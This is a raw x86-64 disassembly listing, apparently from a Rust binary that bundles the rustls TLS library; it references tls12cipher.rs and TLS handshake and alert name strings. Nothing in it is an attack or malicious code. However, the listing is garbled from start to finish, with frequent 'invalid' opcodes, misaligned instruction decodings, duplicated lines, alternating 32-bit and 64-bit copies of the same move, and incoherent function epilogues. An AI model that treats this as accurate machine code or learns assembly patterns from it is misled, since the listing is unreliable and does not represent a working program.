lea rdx, str.E:.cargo_registry_srcindex.crates.io_6f17d22bba15001f_rustls_0.20.8_src_tls12cipher.rs
mov qword [rsp + 0x48], r9
call fcn.1a7f1b9a038
lea r8, [r14 + 0x220]
xchg byte [rax], ah
add al, byte [rax]
add byte [rax - 0x73], cl
lea ecx, [0x1a7f1c5a568]
xchg byte [rax], ah
add al, byte [rax]
add byte [rax - 0x73], cl
lea ecx, [0x1a7f1c5a568]
lea ecx, [0x1a7f1c5a568]
mov qword [rsp + 0x20], rcx
mov r9d, 4
mov rcx, rax
call fcn.1a7f1b66f2f
mov ecx, esp
cld
dec dword [rbp + rcx*4 + 0x6c]
and al, 0x5c
mov ecx, esp
cld
dec dword [rbp + rcx*4 + 0x6c]
and al, 0x5c
lea ebp, [rsp + 0x5c]
mov rbx, qword [rdi]
mov rdx, qword [rdi + 0x10]
lea r9, str.E:.cargo_registry_srcindex.crates.io_6f17d22bba15001f_rustls_0.20.8_src_tls12cipher.rs
mov r8d, 8
add byte [rax], al
mov rcx, rbx
mov qword [rsp + 0x50], rdx
mov dword [rsp + 0x50], edx
mov dword [rsp + 0x50], edx
call case.0x1a7f1b923e2.256
mov r9, rdx
lea rcx, str.E:.cargo_registry_srcindex.crates.io_6f17d22bba15001f_rustls_0.20.8_src_tls12cipher.rs
add dword [rax], eax
add byte [rcx - 0x77], cl
ror dword [rax - 0x73], 1
or eax, 0xc02c4
mov qword [rsp + 0x20], rcx
mov dword [rsp + 0x20], ecx
and al, 0x20
mov edx, 8
mov rcx, r13
invalid
add byte [rax], al
add byte [rcx + rcx*4 - 0x17], cl
invalid
jmp 0x1a7da7a2c2e
mov r8, rax
call fcn.1a7f1b66f2f
int3
cld
inc dword [rcx - 0x75]
invalid
invalid
int3
cld
inc dword [rcx - 0x75]
add al, 0x4c
lea esp, [rsp + 0x68]
lea r12, [rsp + 0x68]
mov dword [r12 + 8], eax
mov rax, qword [r13 - 4]
mov qword [r12], rax
add al, 0x24
mov r8b, byte [rdi + 0x18]
mov r13b, byte [rdi + 0x19]
outsd dx, dword [rsi]
sbb dword [rdi], ecx
mov bh, 0x4f
invalid
outsd dx, dword [rsi]
sbb dword [rdi], ecx
mov bh, 0x4f
sbb cl, byte [rdi]
movzx edx, word [rdi + 0x1c]
invalid
movzx edx, word [rdi + 0x1c]
lea rax, [rbp - 0x18]
lea eax, [rbp - 0x18]
lea eax, [rbp - 0x18]
mov qword [rsp + 0x30], rax
and al, 0x30
mov word [rsp + 0x44], dx
mov word [rsp + 0x28], dx
mov word [rsp + 0x46], cx
mov dword [rsp + 0x46], ecx
sub byte [rsi - 0x77], ah
and al, 0x46
mov dword [rsp + 0x46], ecx
mov word [rsp + 0x20], cx
lea r15, [rsp + 0x7b]
and byte [rbp + rcx*4 + 0x7c], cl
and al, 0x7b
lea edi, [rsp + 0x7b]
mov rcx, r15
mov rdx, qword [rsp + 0x48]
mov edx, dword [rsp + 0x48]
mov edx, dword [rsp + 0x48]
mov byte [rsp + 0x48], r8b
and al, 0x48
and al, 0x48
mov r9d, r13d
call fcn.1a7f1b99a89
mov qword [rsp + 0x20], rbp
mov qword [rsp + 0x28], 8
and al, 0x28
or byte [rax], al
add byte [rax], al
invalid
add byte [rcx + rcx*4 - 0xf], cl
mov rcx, r14
mov rdx, r12
mov r8, r15
loop 0x1a7f1b9a3a8
mov eax, edi
mov r9, rbx
call fcn.1a7f1b99e9b
test rax, rax
je 0x1a7f1b9a379
invalid
cmp rdx, 0x4000
cmp edx, 0x4000
jbe 0x1a7f1b9a3b0
mov byte [rsi + 8], 0x14
jmp 0x1a7f1b9a386
mov byte [rsi + 8], 6
or byte [rsi], al
and qword [rsi + 0x10], 0
mov qword [rsi + 0x18], rdx
mov dword [rsi + 0x18], edx
mov dword [rsi + 0x18], edx
mov qword [rsi], 1
add dword [rax], eax
add byte [rax], al
mov rdx, qword [rdi + 8]
mov rcx, rbx
call fcn.1a7f1bce24f
mov rax, rsi
add rsp, 0x88
mov byte [rax], al
add byte [rax], al
invalid
mov byte [rax], al
add byte [rax], al
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop rsp
pop r13
pop r14
pop r15
ret
cmp qword [rsp + 0x50], rdx
cmp dword [rsp + 0x50], edx
jb 0x1a7f1b9a3bb
mov qword [rdi + 0x10], rdx
push rdi
adc byte [rax - 0x75], cl
mov rax, qword [rdi + 0x10]
mov qword [rsi + 0x18], rax
movups xmm0, xmmword [rdi]
invalid
adc byte [r8 - 0x77], r9b
sbb byte [rdi], r9b
adc byte [rdi], al
invalid
invalid
movups xmmword [rsi + 8], xmm0
mov al, byte [rsp + 0x48]
mov byte [rsi + 0x20], al
or byte [rdx - 0x77b7dbbc], cl
and byte [rax + r9*4 + 0x6e], r8b
mov byte [rsi + 0x21], r13b
movzx eax, word [rsp + 0x46]
mov byte [rsi + 0x21], r13b
movzx eax, word [rsp + 0x46]
and al, 0x46
mov word [rsi + 0x22], ax
movzx eax, word [rsp + 0x44]
mov word [rsi + 0x24], ax
invalid
and al, 0x48
and dword [rsi], 0
invalid
invalid
and qword [rsi], 0
add bl, ch
lodsb al, byte [rsi]
jmp 0x1a7f1b9a399
ror byte [rax - 0x77], 1
retf 0x894c
ror dword [rcx - 0x77], 0xc0
mov eax, eax
in al, dx
sub byte [rcx + rcx*4 - 0x40], cl
ror byte [rax - 0x77], 1
retf 0x894c
and byte [rcx], dh
leave
lea eax, [rdx + 8]
or byte [rax - 0x7b], cl
test ecx, ecx
leave
mov bh, 0x40
or byte [rcx + 0xf], al
mov bh, 0x50
push rax
push rax
or al, bl
add dword [rax - 0x73], ecx
lea edx, [0x1a7f1c9e904]
adc eax, 0x1044c4
adc byte [rax], r8b
add al, 0x82
add eax, edx
mov eax, 0x66c3000b
add bl, al
mov eax, 0x66c3000a
mov eax, 0x31c3000d
or eax, 0xc031c300
ret
invalid
add bl, al
or eax, 0xc031c300
add bl, al
mov eax, 0x66c30014
mov eax, 0x66c30010
mov ax, 0x17
ret
mov ax, 0x1f
ret
invalid
adc al, 0
mov eax, 0x66c30019
sbb dword [rax], eax
mov eax, 0x66c30015
mov eax, 0x66c30018
sbb byte [rax], al
ret
mov ax, 0x13
ret
mov ax, 5
ret
invalid
sbb byte [rax], al
adc eax, dword [rax]
add eax, 0xb866c300
adc dword [rax], eax
invalid
mov eax, 0x66c30011
mov eax, 0x66c30020
add bl, al
mov eax, 0x66c30024
mov eax, 0xfc30016
mov bh, 0x41
and byte [rdi], cl
invalid
mov ax, 0x16
ret
movzx eax, word [rcx + 0x20]
movzx edx, word [rcx + 0x22]
ret
mov bh, 0x51
and al, bl
sal dword [rcx], 0xd2
mov bh, byte [rax - 0x76b6fffb]
invalid
mov dword [rbx + 8], edi
or byte [rax - 0x77], cl
jae case.0x1a7f1b923e2.266
invalid
adc byte [rax - 0x7d], cl
invalid
push r13
push r12
push rsi
push rdi
push rbp
push rbx
sub rsp, 0x48
mov rsi, r8
mov rbx, rdx
test r8, r8
mov qword [rsp + 0x28], rcx
je 0x1a7f1b9a549
movabs rax, 0x555555555555555
cmp rsi, rax
ja 0x1a7f1b9a5ba
push rbp
push rbp
push rbp
push rbp
push rbp
push rbp
add eax, 0xfc63948
xchg dword [rcx + 0x4c000000], ebx
imul r15, rsi, 0x18
imul edi, esi, 0x18
mov ecx, 8
mov rdx, r15
call fcn.1a7f1bd6798
ret 3
mov r14, rax
test rax, rax
jne 0x1a7f1b9a54f
ret 3
mov ecx, 8
add byte [rax], al
mov rdx, r15
call fcn.1a7f1c2f940
ud2
mov r14d, 8
add byte [rax], al
imul r12, rsi, 0x18
xor r13d, r13d
lea r15, [rsp + 0x30]
jl 0x1a7f1b9a57e
xor byte [rax - 0x77], cl
cmc
jl 0x1a7f1b9a57e
xor byte [rax - 0x77], cl
cmc
sub rbp, 1
jb 0x1a7f1b9a599
cmp r12, r13
je 0x1a7f1b9a599
lea rdi, [rbx + 0x18]
mov rdx, qword [rbx]
mov r8, qword [rbx + 0x10]
adc byte [rcx + rcx*4 - 7], cl
adc byte [rcx + rcx*4 - 7], cl
call fcn.1a7f1b9a4a5
mov rax, qword [rsp + 0x40]
and al, 0x40
mov qword [r14 + r13 + 0x10], rax
movups xmm0, xmmword [rsp + 0x30]
movups xmmword [r14 + r13], xmm0
add r13, 0x18
invalid
sbb byte [rax - 0x77], cl
sti
invalid
sbb byte [rax - 0x77], cl
sti
jmp 0x1a7f1b9a55e
mov rax, qword [rsp + 0x28]
mov qword [rax], r14
mov qword [rax + 8], rsi
mov qword [rax + 0x10], rsi
add rsp, 0x48
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
call fcn.1a7f1b65780
ud2
mov esi, ecx
add byte [rax], al
add byte [rax], al
add byte [rax], al
stosd dword [rdi], eax
rol dword [rbx], 0
add byte [rax], al
add byte [rax - 0x77], cl
add rsp, 0x28
invalid
add byte [rax], al
sub byte [rdi + 0x5e], bl
mov dh, 8
lea r8, [0x1a7f1c9e94c]
add byte [rcx + 0x63], cl
or al, 0x88
add byte [rcx + 0x63], cl
or al, 0x88
add rcx, r8
jmp rcx
mov rcx, qword [rdx + 0x20]
mov rax, qword [rdx + 0x28]
mov rax, qword [rax + 0x18]
lea rdx, str.ChangeCipherSpecAlertHandshakeApplicationDataHeartbeatHelloRequestClientHelloServerHelloHelloVerifyRequestNewSessionTicketEndOfEarlyDataHelloRetryRequestEncryptedExtensionsServerKeyExchangeCertificateRequestServerHelloDoneCertificateVerifyClientKeyExchangeFinishedCertificateURLCertificateStatusKeyUpdateMessageHashUnexpectedMessageBadRecordMacDecryptionFailedRecordOverflowDecompressionFailureHandshakeFailureNoCertificateBadCertificateUnsupportedCertificateCertificateRevokedCertificateExpiredCertificateUnknownIllegalParameterUnknownCAAccessDeniedDecodeErrorExportRestrictionProtocolVersionInsufficientSecurityInternalErrorInappropriateFallbackUserCanceledNoRenegotiationMissingExtensionUnsupportedExtensionCertificateUnobtainableUnrecognisedNameBadCertificateStatusResponseBadCertificateHashValueUnknownPSKIdentityCertificateRequired
and byte [rax - 0x75], cl
sub byte [rax - 0x75], cl
sbb byte [rax - 0x73], cl
adc eax, 0xc1b44
mov r8d, 0x10
jmp 0x1a7f1b9a6b0
add byte [rax], al
add bl, ch
mov rcx, qword fs:[rdx + 0x20]
mov rcx, qword [rdx + 0x20]
mov rcx, qword [rdx + 0x20]
and byte [rax - 0x75], cl
sub byte [rax - 0x75], cl
sbb byte [rax - 0x73], cl
adc eax, 0xc1b39
mov rax, qword [rdx + 0x28]
mov rax, qword [rax + 0x18]
lea rdx, [0x1a7f1c5c198]
mov r8d, 5
jmp 0x1a7f1b9a6b0
mov rcx, qword [rdx + 0x20]
mov rax, qword [rdx + 0x28]
invalid
sub byte [rax - 0x75], cl
sbb byte [rax - 0x73], cl
adc eax, 0xc1b23
mov rax, qword [rax + 0x18]
lea rdx, [0x1a7f1c5c19d]
jmp 0x1a7f1b9a6aa
mov rcx, qword [rdx + 0x20]
mov rax, qword [rdx + 0x28]
mov rax, qword [rax + 0x18]
and byte [rax - 0x75], cl
sub byte [rax - 0x75], cl
sbb byte [rax - 0x73], cl
lea rdx, [0x1a7f1c5c1a6]
lea rdx, [0x1a7f1c5c1a6]
mov r8d, 0xf
jmp 0x1a7f1b9a6b0
mov rcx, qword [rdx + 0x20]
mov rax, qword [rdx + 0x28]
mov rax, qword [rax + 0x18]
lea rdx, [0x1a7f1c5c1b5]
mov r8d, 9
add rsp, 0x38
jmp rax
inc rax
lea r9, [rsp + 0x30]
mov qword [r9], rax
lea rax, [0x1a7f1c5c168]
mov qword [rsp + 0x20], rax
mov dword [rsp + 0x20], eax
mov dword [rsp + 0x20], eax
and al, 0x20
lea rax, [0x1a7f1c5c160]
mov r8d, 7
mov rcx, rdx
mov rdx, rax
call fcn.1a7f1b6d420
std
call qword [rax + 0x38c48348]
std
call qword [rax + 0x38c48348]
ret
push rbx
sub rsp, 0x20
mov rsi, rcx
mov rcx, qword [rdx + 8]
mov rax, qword [rdx + 0x18]
cmp rcx, 1
cmp ecx, 1
cmp ecx, 1
je 0x1a7f1b9a71d
test rcx, rcx
jne 0x1a7f1b9a722
adc eax, 0x75c08548
test rax, rax
jne 0x1a7f1b9a722
adc byte [rax - 0x73], cl
sbb eax, 0x102ba7
lea rbx, str._rustc_a57770440f1ebe5b992551d3bcc489ae211908d4librarycore_src_strpattern.rs
xor edi, edi
jmp 0x1a7f1b9a73f
test rax, rax
je 0x1a7f1b9a735
mov rcx, rsi
add rsp, 0x20
pop rbx
pop rdi
pop rsi
pop r14
pop r15
jmp fcn.1a7f1b65ec0
cld
dec dword [rax - 0x75]
add cl, byte [rax - 0x75]
sbb byte [rax - 0x75], cl
js 0x1a7f1b9a747
mov rax, qword [rdx]
mov rbx, qword [rax]
mov rdi, qword [rax + 8]
mov rcx, rdi
stc
xor edx, edx
call fcn.1a7f1bf5d4d
mov r14, rax
add eax, 0xc6894900
mov r15, rdx
mov rcx, rax
mov rdx, rbx
ror dword [rax - 0x77], 0xda
mov r8, rdi
call fcn.1a7f1c22170
adc edi, dword [rdx + 8]
add byte [rcx + rcx*4 + 0x36], cl
adc edi, dword [rdx + 8]
add byte [rcx + rcx*4 + 0x36], cl
mov qword [rsi + 8], r15
mov qword [rsi + 0x10], rdi
add rsp, 0x20
add esp, 0x20
pop rbx
pop rdi
pop rsi
pop r14
pop r15
ret
add byte [rax - 0x7d], cl
in al, dx
cmp byte [rdi], cl
mov dh, 1
lea r8, [0x1a7f1c9e964]
movsxd rax, dword [r8 + rax*4]
add rax, r8
add eax, eax
add eax, eax
jmp rax
mov rcx, qword [rdx + 0x20]
mov rax, qword [rdx + 0x28]
sub byte [rax - 0x75], cl
sbb byte [rax - 0x73], cl
adc eax, 0xc1a18
sub byte [rax - 0x75], cl
sbb byte [rax - 0x73], cl
adc eax, 0xc1a18
mov r8d, 0xc
mov eax, 0xc
jmp case.0x1a7f1b5b061.689
mov rcx, qword [rdx + 0x20]
mov rax, qword [rdx + 0x28]
mov rax, qword [rax + 0x18]
lea rdx, [0x1a7f1c5c1ca]
adc eax, 0xc1a06
sub byte [rax - 0x75], cl
sbb byte [rax - 0x73], cl
adc eax, 0xc1a06
jmp 0x1a7f1b9a97a
mov rcx, qword [rdx + 0x20]
mov rax, qword [rdx + 0x28]
mov rax, qword [rax + 0x18]
lea rdx, [0x1a7f1c5c1d5]
sub byte [rax - 0x75], cl
sbb byte [rax - 0x73], cl
adc eax, 0xc19f9
jmp 0x1a7f1b9a97a
cdq
add dword [rax], eax
add byte [rax - 0x75], cl
mov rcx, qword [rdx + 0x20]
invalid
invalid
add byte [rax], al
mov rcx, qword [rdx + 0x20]
mov rax, qword [rdx + 0x28]
mov rax, qword [rax + 0x18]
lea rdx, [0x1a7f1c5c1e0]
adc eax, 0xc19ec
sub byte [rax - 0x75], cl
sbb byte [rax - 0x73], cl
adc eax, 0xc19ec
jmp 0x1a7f1b9a8a8
scasd eax, dword [rdi]
add byte [rax], al
add byte [rax - 0x75], cl
and byte [rax - 0x75], cl
mov rcx, qword [rdx + 0x20]
mov rax, qword [rdx + 0x28]
sub byte [rax - 0x75], cl
invalid
invalid
sub byte [rax - 0x75], cl
sbb byte [rax - 0x73], cl
adc eax, 0xc19e6
lea rdx, [0x1a7f1c5c1f2]
mov r8d, 0x10
mov eax, 0x10
jmp case.0x1a7f1b5b061.689
mov rcx, qword [rdx + 0x20]
mov rax, qword [rdx + 0x28]
mov rax, qword [rax + 0x18]
lea rdx, [0x1a7f1c5c202]
sub byte [rax - 0x75], cl
sbb byte [rax - 0x73], cl
adc eax, 0xc19d8
jmp 0x1a7f1b9a929
cli
add byte [rax], al
add byte [rax - 0x75], cl
invalid
invalid
mov rcx, qword [rdx + 0x20]
mov rax, qword [rdx + 0x28]
mov rax, qword [rax + 0x18]
lea rdx, [0x1a7f1c5c210]
adc eax, 0xc19ce
and byte [rax - 0x75], cl
sub byte [rax - 0x75], cl
sbb byte [rax - 0x73], cl
adc eax, 0xc19ce
jmp 0x1a7f1b9a944
mov rcx, qword [rdx + 0x20]
mov rax, qword [rdx + 0x28]
sub byte [rax - 0x75], cl
invalid
invalid
and byte [rax - 0x75], cl
sub byte [rax - 0x75], cl
sbb byte [rax - 0x73], cl
lea rdx, [0x1a7f1c5c221]
adc eax, 0xc19c7
mov r8d, 0x13
add byte [rax], al
jmp case.0x1a7f1b5b061.689
mov rcx, qword [rdx + 0x20]
mov rax, qword [rdx + 0x28]
mov rax, qword [rax + 0x18]
lea rdx, str.Certificate
adc eax, 0xc086c
jmp 0x1a7f1b9a97a
mov rcx, qword [rdx + 0x20]
mov rax, qword [rdx + 0x28]
mov rax, qword [rax + 0x18]
invalid
mov eax, dword [rax + 0x18]
sbb byte [rax - 0x73], cl
adc eax, 0xc19a4
or al, 0
lea rdx, [0x1a7f1c5c234]
or al, 0
jmp 0x1a7f1b9a944
mov rcx, qword [rdx + 0x20]
mov rax, qword [rdx + 0x28]
invalid
invalid
sub byte [rax - 0x75], cl
sbb byte [rax - 0x73], cl
adc eax, 0xc199d
mov rax, qword [rax + 0x18]
lea rdx, [0x1a7f1c5c245]
mov r8d, 0x12
mov eax, 0x12
jmp case.0x1a7f1b5b061.689
add byte [rax - 0x75], cl
and byte [rax - 0x75], cl
mov rcx, qword [rdx + 0x20]
mov rax, qword [rdx + 0x28]
sub byte [rax - 0x75], cl
sbb byte [rax - 0x73], cl
adc eax, 0xc1991
or al, 0
and byte [rax - 0x75], cl
sub byte [rax - 0x75], cl
sbb byte [rax - 0x73], cl
adc eax, 0xc1991
or al, 0
or al, 0
mov r8d, 0xf
mov eax, 0xf
jmp case.0x1a7f1b5b061.689
add byte [rax], al
add byte [rax - 0x75], cl
mov rcx, qword [rdx + 0x20]
mov rax, qword [rdx + 0x28]
mov rax, qword [rax + 0x18]
invalid
invalid
mov rcx, qword [rdx + 0x20]
mov rax, qword [rdx + 0x28]
mov rax, qword [rax + 0x18]
lea rdx, [0x1a7f1c5c266]
adc eax, 0xc1982
adc eax, 0xc1982
or al, 0
add bl, ch
jmp 0x1a7f1b9a944
pop rsi
mov rcx, qword [rdx + 0x20]
mov rax, qword [rdx + 0x28]
mov rax, qword [rax + 0x18]
lea rdx, [0x1a7f1c5c277]
lea edx, [0x1a7f1c5c277]
sub byte [rax - 0x75], cl
sbb byte [rax - 0x73], cl
lea edx, [0x1a7f1c5c277]
lea edx, [0x1a7f1c5c277]
jmp 0x1a7f1b9a944
mov rcx, qword [rdx + 0x20]
mov ecx, dword [rdx + 0x20]
and byte [rax - 0x75], cl
sub byte [rax - 0x75], cl
sbb byte [rax - 0x73], cl
adc eax, 0xc197a
mov rax, qword [rdx + 0x28]
mov eax, dword [rdx + 0x28]
mov rax, qword [rax + 0x18]
lea rdx, [0x1a7f1c5c288]
mov r8d, 8
add byte [rax], al
add bl, ch
jmp case.0x1a7f1b5b061.689
push 0x48
mov ecx, dword [rdx + 0x20]
invalid
mov rcx, qword [rdx + 0x20]
and byte [rax - 0x75], cl
sub byte [rax - 0x75], cl
sbb byte [rax - 0x73], cl
lea rdx, [0x1a7f1c5c290]
mov rax, qword [rdx + 0x28]
mov rax, qword [rax + 0x18]
lea rdx, [0x1a7f1c5c290]
lea edx, [0x1a7f1c5c290]
or al, 0
mov r8d, 0xe
mov eax, 0xe
add byte [rax], al
add bl, ch
mov rcx, qword [rdx + 0x20]
mov rcx, qword [rdx + 0x20]
jmp case.0x1a7f1b5b061.689
mov rcx, qword [rdx + 0x20]
and byte [rax - 0x75], cl
and byte [rax - 0x75], cl
mov rax, qword [rdx + 0x28]
mov rax, qword [rax + 0x18]
lea rdx, [0x1a7f1c5c29e]
or al, 0
sub byte [rax - 0x75], cl
sbb byte [rax - 0x73], cl
sbb byte [rax - 0x73], cl
adc eax, 0xc195a
or al, 0
add byte [rcx - 0x48], al
adc dword [rax], eax
add byte [rax], al
mov r8d, 0x11
mov eax, 0x11
jmp case.0x1a7f1b5b061.689
mov rcx, qword [rdx + 0x20]
mov rax, qword [rdx + 0x28]
sub byte [rax - 0x75], cl
sbb byte [rax - 0x73], cl
adc eax, 0xc1950
sbb dword [rax + rax], ecx
and byte [rax - 0x75], cl
sub byte [rax - 0x75], cl
sub byte [rax - 0x75], cl
sub byte [rax - 0x75], cl
sbb byte [rax - 0x73], cl
adc eax, 0xc1950
sbb dword [rax + rax], ecx
sbb dword [rax + rax], ecx
mov r8d, 9
mov eax, 9
jmp case.0x1a7f1b5b061.689
mov rcx, qword [rdx + 0x20]
mov rax, qword [rdx + 0x28]
mov rax, qword [rax + 0x18]
lea rdx, [0x1a7f1c5c2b8]
mov r8d, 0xb
add rsp, 0x38
jmp rax
inc rcx
lea r9, [rsp + 0x30]
mov qword [r9], rcx
lea rax, [0x1a7f1c5c168]
mov qword [rsp + 0x20], rax
lea rax, [0x1a7f1c5c160]
mov r8d, 7
mov rcx, rdx
mov rdx, rax
call fcn.1a7f1b6d420
nop
add rsp, 0x38
ret
adc ah, byte [rsi - 0x7f]
stc
js 0x1a7f1b9aa01
cmp cx, 0x178
setne cl
cmp dx, r9w
sete al
or al, cl
invalid
ret
xchg ebp, eax
shl dword [rsi + 0x44], 0x39
retf 0x940f
enter 0x31c3, 0xffffffffffffffc0
ret
in al, dx
sub byte [rax - 0x77], cl
invalid
in al, dx
sub byte [rcx - 0x77], cl
ror byte [rax - 0x75], 1
or byte [r8 - 0x75], cl
push rcx
adc byte [rax + 0x29], cl
ror byte [rcx + rdi - 0x40], 1
cmp eax, eax
cmp eax, eax
jae 0x1a7f1b9aa90
call fcn.1a7f1b9aa96
mov rcx, rax
add rsp, 0x28
jmp fcn.1a7f1b43d74
nop
add rsp, 0x28
ret
or byte [r15 + r8 + 0x48], r14b
mov edx, dword [rsp + 0x48]
jmp 0x1a7f1b9ab3d
add byte [rax], al
add byte [rax + 0x50c48348], al
add rsp, 0x50
pop rbx
pop rdi
pop rsi
ret
sub esp, 0x50
mov rax, rdx
mov rsi, rcx
mov rcx, qword [rcx + 8]
mov rdx, qword [rsi + 0x10]
mov edx, dword [rsi + 0x10]
mov edx, dword [rsi + 0x10]
mov r8, rcx
sub r8, rdx
cmp r8, rax
cmp eax, eax
cmp eax, eax
jae 0x1a7f1b9ab71
add rdx, rax
jae 0x1a7f1b9ab79
xor ecx, ecx
jmp 0x1a7f1b9ac03
add rsp, 0x50
pop rbx
pop rdi
pop rsi
ret
lea rax, [rcx + rcx]
cmp rax, rdx
ror byte [rax + 0xf], 1
invalid
invalid
ror byte [rax + 0xf], 1
ror byte [r8 - 0x7d], 1
cli
add eax, 0x4bb
add byte [rax + 0xf], cl
fidiv dword [r9]
ror byte [rax - 0x77], cl
mov eax, ebx
shr rax, 0x3b
sete dl
cmova edx, eax
cmp rdx, 5
mov ebx, 4
cmovae rbx, rdx
xor edx, edx
mov rax, rbx
mov eax, ebx
mov eax, ebx
shr rax, 0x3b
sete dl
mov r8, rbx
shl r8, 4
shl rdx, 3
test rcx, rcx
test ecx, ecx
test ecx, ecx
je case.0x1a7f1b92321.498
shl rcx, 4
mov rax, qword [rsi]
mov qword [rsp + 0x20], rax
mov qword [rsp + 0x28], 8
and al, 0x28
or byte [rax], al
add byte [rax], al
and al, 0x28
or byte [rax], al
add byte [rax], al
mov qword [rsp + 0x30], rcx
jmp 0x1a7f1b9abcf
and qword [rsp + 0x28], 0
lea rdi, [rsp + 0x38]
cmp byte [rbp + rcx*4 + 0x4c], cl
and al, 0x20
lea r9, [rsp + 0x20]
mov rcx, rdi
call fcn.1a7f1bf5b1f
cmp qword [rdi], 0
add byte [rax - 0x75], cl
invalid
invalid
je 0x1a7f1b9abf2
add byte [rax - 0x75], cl
or byte [r15 + r8 + 0x48], r14b
mov rdx, qword [rsp + 0x48]
mov edx, dword [rsp + 0x48]
jmp 0x1a7f1b9ac03
adc dword [rax - 0x77], ecx
invalid
mov qword [rsi], rcx
mov qword [rsi + 8], rbx
movabs rcx, 0x8000000000000001
add rsp, 0x50
add esp, 0x50
pop rbx
pop rdi
pop rsi
jmp fcn.1a7f1b43d74
xchg ecx, eax
cli
invalid
xchg ecx, eax
cli
call qword [rsi + 0x57]
push rbx
sub rsp, 0x50
inc rdx
jne 0x1a7f1b9ac22
xor eax, eax
jmp 0x1a7f1b9acb3
invalid
shr cl, 0x91
add byte [rax], al
add byte [rax - 0x77], cl
invalid
mov rsi, rcx
mov rax, qword [rcx + 8]
lea rcx, [rax + rax]
cmp rcx, rdx
cmova rdx, rcx
cmova edx, ecx
cmova edx, ecx
cmp rdx, 5
cmp edx, 5
cli
add eax, 0x4bb
add byte [rax + 0xf], cl
fidiv dword [r9]
ror byte [rax - 0x77], cl
mov ecx, ebx
mov ebx, 4
cmovae rbx, rdx
xor edx, edx
mov rcx, rbx
mov ecx, ebx
mov ecx, ebx
shr rcx, 0x3d
sete dl
cmp eax, 0x4cc2940f
lea eax, [rbx*4]
add byte [rax], al
add byte [rax], al
lea r8, [rbx*4]
add byte [rax], al
add byte [rax], al
add rdx, rdx
test rax, rax
je case.0x1a7f1b5b061.698
shl rax, 2
mov rcx, qword [rsi]
mov qword [rsp + 0x20], rcx
mov qword [rsp + 0x28], 2
and al, 0x28
add al, byte [rax]
add byte [rax], al
and al, 0x28
and al, 0x28
add al, byte [rax]
add byte [rax], al
mov qword [rsp + 0x30], rax
jmp 0x1a7f1b9ac7f
and qword [rsp + 0x28], 0
lea rdi, [rsp + 0x38]
lea edi, [rsp + 0x38]
lea r9, [rsp + 0x20]
mov rcx, rdi
call fcn.1a7f1bf5b1f
cmp qword [rdi], 0
mov rax, qword [rdi + 8]
je 0x1a7f1b9aca2
or byte [r15 + r8 + 0x48], r14b
mov edx, dword [rsp + 0x48]
mov rdx, qword [rsp + 0x48]
jmp 0x1a7f1b9acb3
mov qword [rsi], rax
mov qword [rsi + 8], rbx
movabs rax, 0x8000000000000001
mov eax, 1
add byte [rax], al
invalid
invalid
mov eax, 1
add byte [rax], al
add byte [rax + 0x50c48348], al
invalid
push rax
add rsp, 0x50
invalid
pop rbx
pop rdi
pop rsi
ret
adc dword [rbx + rcx*4 + 0x41], ecx
or byte [rbx + rcx*4 + 0x49], cl
adc byte [rcx + rdi - 0x3e], cl
cmp rdx, r8
je 0x1a7f1b9ad14
lea r10, [rdx + 4]
mov qword [rcx], r10
movzx eax, word [rdx]
movzx edx, word [rdx + 2]
mov r11, qword [r9]
sbb dword [rcx - 0x75], ecx
jno 0x1a7f1b9acea
sbb dword [rcx - 0x75], ecx
jno 0x1a7f1b9acea
shl rsi, 2
xor edi, edi
add dh, byte [rcx]
dec dword [rax + 0x39]
cmp rsi, rdi
je 0x1a7f1b9ad08
invalid
cmp word [r11 + rdi], ax
jne 0x1a7f1b9ad02
cmp ax, 0xd
jne 0x1a7f1b9ad11
cmp word [r11 + rdi + 2], dx
push rsp
cmp eax, dword [rdx]
je case.0x1a7f1b75902.431
add rdi, 4
jmp 0x1a7f1b9ace8
mov rdx, r10
jmp 0x1a7f1b9acc8
mov ax, 0xd
pop rdi
pop rsi
ret
mov ax, 0xe
jmp 0x1a7f1b9ad11
mov eax, 0xf7eb000e
add edx, eax
or byte [rax - 0x73], cl
or al, 0
cmp ecx, edx
ror dword [r8 - 0x7d], 1
cli
add eax, 0x4bb
add byte [rax + 0xf], cl
fidiv dword [r9]
fidiv dword [rcx]
fidiv dword [rcx]
ror byte [rax - 0x77], cl
invalid
sbb al, 0x48
shl eax, 2
and al, 0x28
sub byte [rdx], al
add byte [rax], al
add byte [rax - 0x77], cl
and al, 0x30
and al, 0x30
add al, byte [rax]
add byte [rax], al
and al, 0x30
xor bl, ch
invalid
cmp byte [rbp + rcx*4 + 0x4c], cl
and al, 0x20
and al, 0x20
lodsd eax, dword [rsi]
add eax, 0x3f834800
add byte [rax - 0x75], cl
or byte [r15 + r8 + 0x48], r14b
mov edx, dword [rsp + 0x48]
push rsp
and al, 0x48
mov dword [rsi], eax
invalid
mov dword [rsi + 8], ebx
sub rsp, 0x40
mov rsi, rdx
invalid
mov rsi, rdx
invalid
mov rdi, rcx
mov r9, qword [rdx + 0x18]
invalid
sbb byte [rax - 0x75], cl
mov rdx, qword [rdx + 8]
mov r8, qword [rsi + 0x10]
adc byte [rax - 0x73], cl
pop rsp
and al, 0x20
push rdx
or byte [rbx + rcx*4 + 0x46], cl
adc byte [rax - 0x73], cl
pop rsp
and al, 0x20
mov rcx, rbx
call fcn.1a7f1bdae2a
add al, 0
imul rax, qword [rbx], 0x18
add ebx, dword [rax]
sbb byte [rax + 0x6b], cl
adc byte [r8], bl
adc byte [rax], bl
imul rcx, qword [rbx + 0x10], 0x18
adc byte [rax], bl
imul rdx, qword [rbx + 8], 0x18
imul r8, qword [rbx + 0x18], 0x18
sbb byte [r8], bl
sbb byte [rbx + rbp*2 + 0x43], cl
sbb byte [rax], bl
sbb byte [r8], bl
mov r9, qword [rsi]
add rax, r9
add eax, ecx
add rcx, r9
add rdx, r9
add r8, r9
mov qword [rdi], rax
mov qword [rdi + 8], rdx
mov qword [rdi + 0x10], rcx
mov qword [rdi + 0x18], r8
add rsp, 0x40
invalid
pop rbx
pop rbx
pop rdi
pop rsi
ret
mov bh, 1
cmp rax, 0xd
ja case.0x1a7f1b9ae3c.3
lea rdx, [0x1a7f1c9e9b4]
movsxd rax, dword [rdx + rax*4]
add rax, rdx
jmp rax
ret
mov rax, qword [rcx + 8]
mov rdx, qword [rcx + 0x10]
mov rcx, rax
jmp fcn.1a7f1bce24f
or byte [r8 - 0x75], cl
push rcx
adc byte [rax - 0x77], cl
shr ecx, 0
xor al, 3
add byte [rax - 0x7d], cl
invalid
invalid
